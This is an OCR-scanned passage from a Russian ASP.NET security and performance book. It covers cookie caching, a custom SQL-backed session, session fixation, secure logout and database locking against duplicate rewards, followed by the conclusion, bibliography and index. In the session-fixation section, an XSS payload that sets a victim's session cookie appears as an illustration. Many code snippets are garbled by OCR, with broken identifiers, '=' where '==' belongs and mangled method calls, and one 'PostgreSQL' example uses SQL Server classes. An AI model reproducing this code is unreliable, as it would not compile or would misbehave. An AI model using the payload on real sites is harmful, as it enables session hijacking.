Проблема решалась в два этапа. Сначала извлекалось содержимое формы. Сервер возвращал HTML-код, в котором был весь код, кроме поля для ввода, потому что оно различалось в зависимости от того, вошел посетитель на сайт или нет. Этот код полностью кешировался и не содержал ничего персонального.
На втором этапе в cookie включался параметр — количество пойнтов. Если этот параметр отсутствует, значит, посетитель не авторизован, и нужно отобразить поле
3 См. https://memcached.org.
4 См. https://redis.io.
270
Гпава 8
для входа. Если параметр cookie с поинтами есть, то посетитель авторизован и отображается баланс. Эта логика была реализована с помощью JavaScript, который также мог кешироваться.
Рис. 8.3. Заголовок окна сайта Sony Rewards
Итак, посетитель загружает наш сайт, и при этом JS- и HTML-код доставляется ему с кеширующих прокси-серверов без обращения к серверам Sony. Когда посетитель входит на сайт (обращается к странице /en/login), то эта страница не кешируется и может обновить cookie-значение с балансом.
Теперь, возвращаясь на главную страницу, посетитель уже имеет новый cookie с балансом, и браузер может отобразить новую страницу из кеша для авторизованного посетителя без обращения к серверам Sony. В результате браузер работает быстрее, меньше расходуется трафика, меньше нагрузки на серверы, все выигрывают — и это в 2009 году, когда серверы еще не были такими быстрыми, как сейчас, и когда сети не были такими молниеносными, как сегодня.
Единственная проблема, которая оставалась, — правильно и вовремя обновлять значение баланса пойнтов в кеше. Но эта проблема возникает регулярно при любом кеше.
Значения cookie можно использовать в качестве кеша, но нужно учитывать две проблемные особенности:
□ браузер будет отправлять все значения cookies на сервер с каждым запросом. Если вы поместите в эти печеньки данные объемом в 100 килобайт, то объем каждого запроса увеличится на 100 килобайт, а это очень много. Храните в cookie только небольшие значения.
В то же время у браузера есть Local Storage (локальное хранилище), которое больше подходит для хранения больших данных. Они остаются в браузере и не передаются с каждым запросом;
Трюки
271
□ вторая особенность — значения в cookie никак не защищены, и с помощью утилиты разработчика браузера пользователь или хакер могут легко их изменить.
В моем случае безопасность баланса не являлась проблемой, потому что я никогда не доверял значению в cookie и использовал его только для отображения. Если хакер поменяет свой баланс, то ничего, кроме своего самолюбия, он удовлетворить не сможет.
Чтобы создать новый параметр с именем папе и значением Михаил в локальном хранилище, можно использовать следующий код на JavaScript:
localstorage.setltemfname", "Михаил") ;
Так как эти данные будут храниться в браузере, то для доступа к хранилищу, конечно же, нужен язык программирования, который выполняется в браузере, и это у нас JavaScript. Чтобы прочитать значение выполняем:
localstorage.getltem("папе");
Если на сайте будет XSS-уязвимость, то хакер сможет прочитать данные из cookie и из локального хранилища localstorage. Не храните в них важные данные, которые не должны попасть в руки злоумышленников.
8.2. Сессии
Когда я впервые столкнулся с .NET Framework на нагруженных сайтах, то сессии в ASP.NET не отличались высокой производительностью, и возникали проблемы в случае с использованием нескольких серверов приложений. Впоследствии Microsoft улучшила работу с сессиями, и сейчас достаточно просто реализовать что-то даже для распределенных систем.
В этом разделе я хотел бы рассказать, как реализовывал сессии более 10 лет назад, — это было не так сложно, и при этом получался гибкий и быстрый вариант. Я написал этот код всего минут за 20.
Даже если вы никогда не планируете реализовывать свою собственную сессию, я рекомендую познакомится с моей реализацией, потому что в ней я буду рассматривать различные вопросы безопасности, которые полезно знать.
8.2.1. Пишем свою сессию
Для начала нужно определиться с хранилищем. Можно сделать сессии на кеширующих базах — таких как Memcached и Redis, но я использовал SQL Server, чтобы не усложнять код и задействовать только те инструменты, которые уже использовались в проекте.
Сначала отключим встроенные сессии — для этого в файле Program.cs уберем следующую строку:
builder.Services.AddSession();
272
Глава 8
Теперь в базе данных нам понадобится таблица:
create table Session (
Sessionld UNIQUEIDENTIFIER primary key.
Content ntext,
Created datetime,
LastAccessed datetime,
Userid int )
В качестве идентификатора сессии примем уникальный идентификатор, который достаточно сложно подобрать. Колонка Content может содержать данные сессии. Для хранения идентификатора посетителя я создаю отдельную колонку, чтобы проще и быстрее было получить к ней доступ.
Для хранения параметров МОЖНО использовать Dictionary<string, object>, где в качестве строки будет имя параметра сессии, а в качестве объекта — значение. Чтобы сессии работали быстро, нужно просто хранить в сессии только простые значения и не сохранять в ней большие данные.
Для обеспечения уровня доступа к данным нам понадобятся три метода: добавить, обновить и создать сессию. Сам код я приводить не стану, а покажу только интерфейс, чтобы было видно, как выглядит объявление методов:
public interface ISessionDAL {
Task<SessionModel?> GetSession(Guid sessionld);
Task<int> UpdateSession(SessionModel model);
Task<int> CreateSession(SessionModel model); }
Самое интересное будет находиться на уровне бизнес-логики. Я создал класс Session, в котором все начинается с метода:
public async Task<SessionModel> GetSession() {
Guid sessionld;
var cookie =
httpContextAccessor?.HttpContext?.Request?.Cookies.FirstOrDefault( m’=> m.Key = ’’MySessionld”) ;
if (cookie != null && cookie.Value.Value != null) sessionld = Guid.Parse(cookie.Value.Value);
else
{
sessionld = Guid.NewGuid();
CreateSessionCookie(sessionld);
return await this.CreateSession();
}
Трюки 273
var data = await this.sessionDAL.GetSession(sessionld);
if (data = null)
{
data = await this.CreateSession();
CreateSessionCookie(data.Sessionld);
} return data;
I
Пройдемся по логике. Пробуем сначала прочитать cookie-значение с именем MySessionid. Если его нет, то создаем новую сессию и cookie.
Потом пробуем прочитать сессию из базы данных. Если она не найдена, значит, устарела, и посетитель должен получить новую сессию.
Если сайт wheeloffortune.com просто содержит контент и тут посетитель может быть авторизован долгое время, то rewards.sony.com — это сайт электронной коммерции и банк в одном флаконе. Сессии на таких сайтах должны устаревать через определенные промежутки времени, и у меня это было настраиваемо. Я устаревание сессий не реализовал, но его легко сделать — для этого просто нужно при выборе данных из базы проверять колонку LastAccessed.
Чтобы сессии работали быстрее, у нас также на сервере в сессиях работал сборщик мусора, который банально удалял все данные из таблицы, которые были старше срока жизни сессии.
Сразу же покажу интересный трюк, который можно провернуть с такой реализацией, — достаточно только очистить таблицу сессии, и всех посетителей выбросит с сайта. Печеньки для хранения пользовательского идентификатора для долгосрочной авторизации у нас именно на этом сайте не было.
Чтобы проще было работать со своей собственной реализацией сессии, я добавил три метода: для установки идентификатора пользователя, для получения идентификатора и для проверки, является ли сессия авторизованной:
public async Task<int> SetUserld(int userid) {
var data = await this.GetSessionO;
data.Userid = userid;
return await sessionDAL.UpdateSession(data);
}
public async Task<int?> GetUserldO
{
var data = await this.GetSessionO;
return data.Userid;
}
public async Task<bool> IsLoggedin()
{
var data = await this.GetSessionO;
274
Гпава 8
return data.Userid != null;
Этим примером я не утверждаю, что вы должны создавать свою собственную сессию для своих сайтов. Основной смысл его в том, чтобы показать, что здесь нет никакой магии и сессию можно создать самостоятельно. Я создавал ее в те времена, когда встроенных в ASP.NET возможностей мне не хватало, и они не обеспечивали нужный мне уровень гибкости в распределенной системе и нужной скорости при высокой нагрузке.
Впоследствии самостоятельно написанная сессия дала еще несколько преимуществ — например, то же трюк с завершением всех сессий на сервере. И еще одно преимущество — возможность создавать более гибкие интеграционные тесты. В любой момент я мог обновить данные в сессии или проверить их во время теста.
Основываясь на этом примере, нам надо еще поговорить и о безопасности сессий.
8.2.2. Безопасность сессии
Приведенный код уже работает, и его можно использовать, но в нем все же нет одного нюанса, который стоит реализовать, — смены идентификатора сессии при входе на сайт.
Хакер не сможет подобрать идентификатор нашей сессии, потому что я использую Guid-значения, которые уникальны и подобрать которые практически невозможно. Но при определенных условиях хакер может заранее создать сессию, чтобы мы ее использовали.
Создавать cookie-значения можно с помощью JavaScript. Хакер может сгенерировать заранее Guid-идентификатор и с помощью XSS поместить его в cookie-значение посетителя. Некоторые реализации в случае отсутствия сессии с определенным идентификатором тут же создавали новую с этим идентификатором. Если это произойдет, то хакеру не нужно ничего воровать — у него уже есть идентификатор. Осталось только дождаться, когда посетитель авторизуется.
Именно поэтому, если сессия в базе не найдена, я генерирую новое значение, а не использую идентификатор из печенек. Будет круче, если метод Getuserid станет не только обновлять имя посетителя, но и генерировать новое значение сессии, а также сохранять его в базе данных и обновлять в cookie.
Так что более безопасной версией установки идентификатора пользователя будет следующая:
public async Task<int> SetUserld(int userid) {
var data = await this.GetSession();
data.Userid = userid;
data.Sessionld = Guid.NewGuid() ;
CreateSessionCookie(data.Sessionld);
return await sessionDAL.CreateSession(data);
Трюки
275
Теперь я не только обновляю userid, а генерирую новую сессию и обновляю cookie. Вот это уже соответствует всем рекомендациям безопасности.
8.2.3. Сессия в качестве кеша
Сессию достаточно часто используют в качестве кеша. До сих пор мы использовали сессию в базе данных только для того, чтобы определить, авторизован посетитель или нет, поскольку очень часто большая часть страниц сайта должна знать, авторизован ли текущий посетитель.
Раз мы все равно обращаемся к сессии, почему бы не хранить в ней что-то полезное для себя, то есть использовать сессию как кеш?
Если хранить сессию в простой реляционной базе данных (как это сделано в этой книге), запросы к одной таблице будут выполняться стремительно. Сайты с высокой нагрузкой, которые я поддерживал, использовали Такой подход и работали очень быстро.
При повышении нагрузки можно перенести сессию на базу данных NoSQL.
Рассмотрим реализацию на реляционной базе данных. У нас уже есть колонка content в таблице Session, которая имеет тип ntext. Это текстовое поле, в котором мы сможем хранить стерилизованные данные.
В сессии заводим простой словарь для хранения имён/значений:
public class Session: ISession {
Dictionary<string,object> SessionData = new Dictionary<string,object>();
}
В методе GetSession после загрузки данных из базы добавляем следующий код:
if (data.Content != null) {
SessionData = JsonSerializer.Deserialize<Dictionary<string, object»(data.Content) ?? new Dictionary<string, object>();
}
Если в базе данных поле content не равно нулю, то пробуем десериализовать эти данные в переменную SessionData, которая является словарем.
Теперь нужно реализовать три метода:
□ добавление значения В словарь SessionData:
public void AddValue(string key, object value) {
if (SessionData.ContainsKey(key)) SessionData[key] = value;
276
Гпава 8
else
SessionData.Add(keyr value);
}
О удаление:
public void RemoveValue(string key) {
if (SessionData.ContainsKey(key)) SessionData.Remove(key);
}
□ чтение:
public object GetValueDef(string key, object defaultvalue) {
if (SessionData.ContainsKey(key))
return SessionData[key];
return defaultvalue;
}
Чтобы чтение не падало, метод получает не только ключ для значения, но и значение по умолчанию, как я это часто делаю в таких случаях.
И последний метод — обновление данных в базе:
public async Task UpdateSessionData() {
if (this.sessionModel != null) {
this.sessionModel.Content = JsonSerializer.Serialize(SessionData); await this.sessionDAL.UpdateSession(this.sessionModel);
}
else
throw new Exception("Сессия не загружена");
}
Сохранение заключается в сериализации данных и вызове метода обновления базы.
На ресурсе Boosty я записал видео создания электронного магазина, и там создан сайт как у издательства «БХВ». Электронные магазины имеют права запрашивать у посетителей номера карт, но не имеют права сохранять в постоянном хранилище код безопасности карты, который находится на обратной стороне пластика. Его можно хранить только во внешнем хранилище, таком как сессия, которая будет уничтожаться после выхода посетителя с сайта. С помощью созданных нами методов хранения данных в сессии это делается следующим образом:
dbSession.AddValue ("CW", model.CW) ;
await dbSession.UpdateSessionData();
Для электронного магазина я хранил в сессии текущий баланс посетителя. Да, была вероятность, что баланс будет некорректным, если посетитель откроет два браузера и в одном из них потратит деньги, а другой продолжит отображать данные из сессии. Но это только отображение, и второй раз посетитель все равно не сможет по-
Трюки 277
тратить деньги. Да и подобное бывает не так часто. Редко кто открывает два браузера и одновременно работает в них с одним и тем же сайтом.
8.2.4. Уничтожение сессии
Сессии устаревают с закрытием браузера, и их обязательно нужно чистить. Сейчас у нас сессии создаются, но никогда не удаляются. Нам нужен новый метод, который будет обновлять данные колонки LastAccessed:
public async Task Extend(Guid dbSessionlD) { using (var connection = new SqlConnection(DbHelper.GetConnectionString()))
{
string sql = 0"update [Session] set LastAccessed = 0lastAccessed where SessionlD = @dbSessionID";
await connection.ExecuteAsync(sql, new { dbSessionlD = dbSessionlD, lastAccessed = DateTime.Now });
} }
Метод просто обновляет колонку. Мы вызываем этот метод каждый раз, когда вызывается метод GetSession:
await this.sessionDAL.Extend(data.DbSessionld);
Теперь нужно создать где-то код, который будет чистить старые сессии. Эго простой запрос. Для электронного магазина время жизни сессии у меня было 30 минут. Каждые 30 минут выполнялся запрос, который уничтожал данные сессий, время жизни которых превышает этот порог.
delete from Session where lastAccessed < DateTime.Now.AddMinutes (-30)
Таким образом таблица оставалась небольшой и хранила только актуальные данные.
8.2.5. Выход
Когда посетитель хочет выйти с сайта, то самый простой способ — это удалить cookie из браузера. Нет cookie — нет связи с данными в базе данных, и посетитель будет отображаться как не авторизованный.
Эго работает, но тут есть серьезная проблема безопасности. Допустим, что я использовал публичный компьютер, и значения моих cookie каким-то образом попали в руки хакера. Даже если я выйду с сайта и потеряю якоря в браузере, у хакера-то они останутся, и он сможет восстановить их у себя в браузере.
278
Глава 8
Данные должны удаляться не только в браузере, но и в базе данных. В этом случае, если хакер восстановит cookie, они не будут связаны с какими-то данными на сервере.
Для моей самодельной сессии выход должен выглядеть примерно так:
public async Task Logout() {
// удалить сессию
await session.DeleteSessionId();
// удалить токен для запоминания пользователя
Guid? tokenGuid = GetCurrentUserToken();
if (tokenGuid != null){
await userTokenDAL.DeleteToken((Guid)tokenGuid);
webCookie.Delete(General.Constants.RememberMe Cooki eName);
}
// удалить Cookie
webCookie.Delete(General.Constants.SessionCookieName);
}
Первый делом удаляется сессия из базы данных. Даже если у хакера будет идентификатор сессии, он не будет привязан к данным в базе.
Потом очищаем токен, который используется для запоминания посетителя между сессиями. Если не сделать этого, то токен сможет восстановить состояние и авторизовать посетителя. Очистка токена происходит как на стороне сервера, так и на стороне браузера.
И в конце удаляется cookie сессии в браузере.
При выходе мы должны чистить всё и не оставлять ничего в базе данных или браузере.
8.2.6. Кукушка для сессии
Если на сайте есть XSS-уязвимость, cookie сессии не защищены от доступа из JavaScript (не установлен флаг httpOniy) и при этом не создается новая сессия после авторизации, то хакер может подбросить жертве сессию, как кукушки подкидывают свои яйца на воспитание в гнезда других птиц.
Вернемся к примеру с XSS, когда у нас был уязвимый параметр id по адресу /xsstest. Хакер может передать в параметре следующий код:
<script>document.cookie=”sessionid=123123123123123”</script>
Этот JavaScript устанавливает значение cookie sessionid. Число 123123123123123 — это не просто число, это номер существующей сессии, которую мог создать хакер. Он может просто зайти на сайт сам, взять номер сессии, который сайт установит ему, и попытаться установить точно такой же жертве с помощью XSS и JS.
Трюки
279
Тогда у посетителя будет идентификатор сессии 123123123123123, и хакеру не нужно этот идентификатор воровать — он его знает, ведь именно он и подбросил этот номер.
Теперь посетитель авторизуется, и если при авторизации не создается новой сессии, а обновляется уже существующая, то пользователь авторизовывается и хакер тоже. Оба делят один и тот же номер сессии!
Да, в наше время для реализации подобной атаки нужно, чтобы совпали сразу несколько условий: XSS, незащищенные cookie и отсутствие создания новой сессии при авторизации. Можно подумать, что последний фактор необязателен, и понадеяться, что остальные два никогда не станут причиной взлома. Но создание новой сессии — не такой уж и сложный процесс.
8.2.7. Преимущества и недостатки
Представленный здесь вариант сессии я использовал для всех своих проектов, когда работал на Sony, потому что там имелась достаточно высокая нагрузка и нужна была безопасность. Плюс такой сессии заключается в том, что можно выделить отдельный сервер базы данных и поместить его в кластер, чтобы обеспечить отказоустойчивость.
У вас может быть множество серверов приложений, и все они будут разделять одно хранилище сессий. Я использовал MS SQL Server, который прекрасно справлялся, потому что одна простая таблица при наличии индексов может работать быстро.
Можно использовать ещё более быстрое для нашей ситуации решение — сервер, который хранит данные по ключу. Но тогда придется усложнять разработку, смешивая различные технологии. В случае с SQL у базы данных меньше различных подходов и зависимостей.
За счет наличия центрального хранилища сессий их можно в любой момент удалить, и выбросить всех посетителей с сервера. Им придется проходил» авторизацию заново.
С такой реализацией очень просто сделать для посетителя страницу, на которой ему будут отображаться все его активные сессии. Если сам посетитель посчитает, что одна из его сессий скомпрометирована, он может зайти на эту страницу сам и уничтожить скомпрометированную сессию или сразу все. Если при использовании сессий сохранять в них еще и IP-адрес, то посетитель может сам увидеть, что какой-то адрес выглядит подозрительно.
Например, если никогда не использовался VPN, а в журнале появился IP-адрес Китая, где вы никогда не были, то это будет серьезным звоночком для того, чтобы уничтожить такую сессию и войти заново.
Недостаток — центральное хранилище, и нужно думать о его доступности. Мы использовали кластер, а для MS SQL Server это достаточно дорогое решение, но нас оно ни разу не подвело.
280
Гпава 8
8.3. Защита от множественной обработки
В разд. 3.6 я говорил о флуде — вмешательстве, когда посетители или хакеры могли отправлять на сервер множество запросов, способных сделать одно и то же действие несколько раз. Да, в рассмотренном там случае с комментариями можно поставить капчу, которая затормозит действия такого посетителя.
Но есть случаи, когда капчу ставить неудобно. Например — в играх. На сайге «Колесо фортуны» (Wheel of Fortune) когда-то была возможность ответить на последний вопрос передачи (рис. 8.4) и получить за правильный ответ 10 пойнтов (10 центов) на сайте Sony Rewards, которые потом можно было использовать для покупки чего-нибудь. Да, отвечая на вопросы даже каждый день, понадобится очень много времени на то, чтобы купить хоть какой-то сувенир, но на скидку собрать можно. Учитывая, что передача выходила в эфир не каждый день, то времени надо было действительно много.
Сейчас деньги за правильные ответы не дают, да и я не работаю над этим проектом уже несколько лет.
Рис. 8.4. Угадываем последний вопрос
А что если пользователь введет правильный ответ и нажмет кнопку несколько раз сразу? Несколько запросов полетят к нескольким серверам, и все они одновременно начнут проверять правильность ответа и выдавать пойнты. Как решить проблему? Серверов несколько, они не связаны между собой напрямую, и в случае начала работы с одним из них нельзя тут же сообщить остальным, что процесс проверки ответа начался и любые новые запросы должны игнорироваться:
if (!IsCorrect) {
return;
}
Трюки 281
using (Transactionscope scope = Sql.CreateTransactionScope()) {
if (!this.HasCompleted(memberID, referencelD))
{
txnlD = member.Reward(this.EventPointID, this.Name, referencelD);
MemberActivity ma = new MemberActivity();
// Заполнить поля Activity ma.Save();
}
scope.Complete();
}
Вот участок кода, который отвечает за получение ответа от посетителя. Если ответ неверный, то просто возвращаемся. Если ответ верный, то проверяем, отвечал ли посетитель на этот же вопрос ранее: this. HasCompleted. Если нет, то нужно дать пойнты (Reward) и создать запись в таблице MemberActivity, в которой как раз и отмечаются факты правильных ответов, и именно в этой таблице проверяется наличие записи, когда нужно узнать — отвечал посетитель ранее или нет.
Проблема этого кода в том, что несколько серверов могут запросто одновременно дать пойнты. С того момента, как мы проверили наличие записи в базе и до ее создания, при высокой нагрузке в базе уже могут появиться записи и даже несколько. Как защититься?
По умолчанию базы данных не блокируют данные при их выборке, но мы можем сделать это. Для MS SQL Server после имени таблицы нужно передать with (updlock rowlock). Какую таблицу блокировать? Надо сделать так, чтобы текущий посетитель не мог ответить на вопрос дважды, — значит, нужно блокировать что-то конкретное для этого посетителя. Отличным вариантом будет блокирование записи в таблице user:
if (UsCorrect) {
return;
}
using (Transactionscope scope = Sql.CreateTransactionScope())
{
Sql.Do(0"SELECT 1
FROM User WITH (UPDLOCK ROWLOCK)
WHERE UserID = ?", memberlD);
if (’this.HasCompleted(memberlD, referencelD))
{
txnlD = member.Reward(this.EventPointID, this.Name, referencelD);
MemberActivity ma = new MemberActivity();
// Заполнить поля Activity
ma.Save();
282
Глава 8
scope.Complete();
}
Здесь логика такая: после создания транзакции я блокирую запись в таблице user и только потом проверяю, отвечал посетитель ранее или нет. Как только первый сервер заблокирует строку в таблице user, никто другой не сможет это сделать. Любые попытки будут оставаться в ожидании, пока запись в таблице user не освободится. А освободится она только тогда, когда первый запрос завершит работу и создаст все необходимое.
Это отличный способ защититься даже для распределенной системы — заблокировать что-то, что делится со всеми.
В PostgreSQL для блокировки нужно добавить в конце SQL for update. Насколько я помню, точно так же работает и Oracle. Я написал небольшой метод, который блокирует запись пользователя в базе данных PostgreSQL:
public async Task Lock(int userid) {
using (var connection =
new SqlConnection(DbHelper.GetConnectionString()))
{
string sql = @”select Userid from [User] where UserID = ©userid for update”;
await connection.QueryAsync<SessionModel>(sql, new { userid = userid });
} }
Если нужно защититься от спама, идущего от неавторизованных посетителей, то можно блокировать таблицу сессий. Но если действие выполняет авторизованный посетитель, то лучше блокировать именно запись посетителя. Хакеру не составит труда создать несколько сессий, авторизовать каждую с одним и тем же посетителем и заспамить сервер, используя разные идентификаторы сессий.
Если этот пример показывает, как защититься от флуда, то зачем я его вынес в отдельный раздел?
Мне много раз приходилось писать код загрузки каких-то данных из файлов. Пойнты можно было зарабатывать не только на сайте Sony, но и на других сайтах, и все они стекались в виде файлов. На сервере работало несколько потоков, которые постоянно следили за появлением файлов, и при появлении такового сразу же начинался процесс загрузки.
Как убедиться, что только один поток обрабатывает входящий файл? Ведь если два потока станут загружать один и тот же файл, это закончится проблемами. Простейшее и надежное решение — открытие файла в эксклюзивном режиме. Я часто вижу код, где просто открывают файл с помощью File. Open о и указывают только два параметра: имя файла и режим (создать/обновить/обрезать и т. д.). Это так просто указать два параметра, но у метода есть более полная версия, которая принима-
Трюки
283
ет четыре параметра, и последний из них указывает на возможность разделять файл с другими процессами:
File.Open(String, FileMode, FileAccess, FileShare)
Я рекомендую по умолчанию использовать эту версию, и в Fileshare задавать значение None, что означает эксклюзивный доступ, — к этому файлу никто другой обратиться не сможет. Это самый безопасный способ. Не разрешайте другим процессам обращаться к вашим файлам без особой надобности. И только если вы видите преимущество от совместного доступа, можно его указать явно.
Я использовал файлы и для синхронизации совершенно не связанных задач. Когда мне нужно было убедиться, что процесс выполняется только в единственном экземпляре, то я просто создавал файл в общедоступном месте и блокировал его. За счет блокировки повторное создание файла становится невозможным.
Использование какого-то общего ресурса для синхронизации — очень простой и эффективный способ.
Блокировки базы данных могут стать злом, если их оставлять активными на продолжительное время, а могут стать благом — за счет обеспечения синхронизации доступа к данным. Если вы будете использовать приведенный пример с блокировкой записи в базе данных, то постарайтесь сделать так, чтобы транзакция была открыта минимально возможное время. Открыли транзакцию, сделали проверки, создали необходимые данные и тут же закрыли транзакцию, чтобы освободить блокировку.
Заключение
Еще 10 лет назад сфера ИТ-безопасности развивалась достаточно динамично, очень много появлялось новых векторов атак, и нужно было срочно реагировать на них.
Сейчас новые векторы появляются уже не так часто. Можно сказать, что сформировались какие-то правила хорошего тона в программировании, следуя которым можно чувствовать себя в безопасности. Но, несмотря на это, безопасность остается динамичной. После разработки нужно регулярно тестировать свой код на уязвимости, потому что изменение одной строки кода может привести к проблемам в любом месте приложения.
Самое сложное — это логические ошибки. Если для защиты от уязвимостей XSS или SQL Injection есть определенные правила, которым достаточно следовать, то для поиска логических ошибок каких-либо правил нет.
Надеюсь, мне удалось рассказать про безопасность и производительность простым и интересным языком. Напоследок только хочу пожелать всем читателям удачи и безопасного кода.
И еще раз поблагодарить всех, кто купил книгу, а не скачал ее нелегально, потому что это не только мой труд, но и труд большого количества людей в издательстве, которые старались помочь мне и превратили рукопись этой книги в реальное издание.
Михаил Фленов
Литература
1. Фленов М. Программирование в Delphi глазами хакера. — 2-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2021.
2. Фленов М. Web-сервер глазами хакера. — 3-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2021.
3. Фленов М. Библия С#. — 5-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2022.
4. Макконнелл С. Совершенный код. Мастер-класс. — СПб.: Русская редакция, 2010.
5. Фленов М. Linux глазами хакера. — 6-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2021.
ПРИЛОЖЕНИЕ
Описание файлового архива, сопровождающего книгу
Файловый архив с исходными кодами примеров, рассмотренных в книге, можно скачать по ссылке: https://zip.bhv.ru/9785977520218.zip. Эта ссылка доступна и со страницы книги на сайте https://bhv.ru/.
Распаковав архив в рабочую папку, вы обнаружите вложенные папки. В них находятся файлы с кодами примеров, распределенные по главам (табл. П.1).
Таблица П1. Распределение по главам файлов с кодами
Папки
Описание
Главы
\MyBlog
Приложение, на примере которого рассматривается безопасность веб-сайта
2,3
\Network
Сетевые примеры
6
\ApiTest
Безопасность приложения Web API
7
\AspldentityTest
Авторизация средствами ASP.NET
2
\ArrayPoolTest
Тест производительности
5
Предметный указатель
А
ADO.NET 112,118
D
Dapper 0RM 118
DevOps 35
G
Google reCAPTCHA 37
H
НТТР-протокол 234
J
JWT-токен 246
M
Master-ветка 36
N
null-ситуации 24
о
ORM 118
P
Pipeline 35
s
Socket 237
SQL-инъекция 19, 111, 115,119, 120,125,126,142,170,171
X
xss
О нехранимый вариант 149
О уязвимость 143,144,152,159, 161,174,175,256,257,271
О хранимый вариант 149,153
А
Автомаппер 195
Авторизация 47, 87
Алгоритм
О MD5 60
О SHA256 64
О SHA512 64
Атака
О Cross-Site Scripting (межсайтовый скриптинг) 142
О DoS (отказ в обслуживании) 183
О SQL Injection 14, 33
О XSS 14,143
Атрибуты 90
Аудит данных 28
Аутентификация 47,73,103
Б
Бессерверные функции (Serverless Function) 127
Библиотека React 194
Бэкенд (backend) 245
в
Виртуальные методы 212
Время жизни (TTL, Time to Live)
232
г
Гонка процессов 129
д
Двигающийся кеш 268
Двухфакторная аутентификация 106
Деструкторы 216
Динамический анализ кода приложений 18
Доменная система имен (Domain Name System, DNS) 243
ж
Журналирование 30, 75
Журналы 27
3
Заголовок X-Frame-Options 188
и
Исключительная ситуация 26,231
Испытание на проникновение 18
288
Предметный указатель
к
Капча (CAPTCHA) 56,66,75
О от Google
(Google reCAPTCHA) 67
Кеширование 260
0 в коде 264
0 в памяти 268
Класс
0 Uri 235
0 HttpClient 234
Клиент-серверный подход 237
Кликджекинг 186
Кодировка Base64 253 Куча 204
л
Ленивая инициализация 265
Логические бомбы 14
м
Метод
0 GET 42,43
0 POST 42,44
Микросервисы 234
Модели уровня доступа к данным (DAL) 197
н
Наблюдаемость (observability) 30 Настройка кеширования 261
о
Обновление базы данных 35 Объединение строк 221 Ограничения по количеству запросов 21
Оптимизация 20,260
Отказ в обслуживании (Denial of Service, DoS) 20
Откат кода приложения 36 Ошибка CORS (Cross-Origin
Resource Sharing, разделение ресурсов между различными источниками) 162
п
Панель администратора 12 Параметризованные запросы
116,120
Подсистема WSL (Windows Subsystem for Linux) 38
Подход
0 Code First 121,123
0 DB Fist 121
Правила 0 REST API 21 0 кеширования 261 Представление
Model-View-Controller 48
Проверка соединения 230
Проект OWASP 19
Протокол 0 HTTPS 40 0 ICMP (Internet Control
Message Protocol 230
0 OAuth 2.0 93
p
Распределенный отказ в обслуживании (Distributed Denial of Service, DDoS) 20
Ресурс 0 git 22 0 TFS (Team Foundation Server)
23
Роли 89
c
Сборщик мусора 204,268
Сервер MS SQL Server 48 Сетевая безопасность 230 Сети доставки контента (Content
Delivery Network, CDN), 164
Соль (salt) 61
Среда Cygwin 38
Ссылочные типы 203
Статический анализатор кода 17 0 PVS-Studio 17
Статичные переменные 264
Стек 204
Структуры 204
т
Типы
0 ХСС149
0 значения 203
Токены 79,84,86
У
Упаковка (boxing и unboxing) 204,207
Утилита rsync 38
Уязвимость
0 CSRF (Cross-site request forgery) 172
0 SQL Injection 111
0 XSS 274
0 подделки параметров (parameter tampering) 133
Ф
Файлы cookie (печеньки) 79 Флуд 50,140,280
Фреймворк Entity Framework 111,118,123
Фронтенд (frontend) 245
X
Хеширование 178
0 паролей 59
Хранилища ссылок на объекты 214
ш
Шаблон
0 Pages 48
0 Web Application 48
э
Экранирование 116,145
я
Язык LINQ 200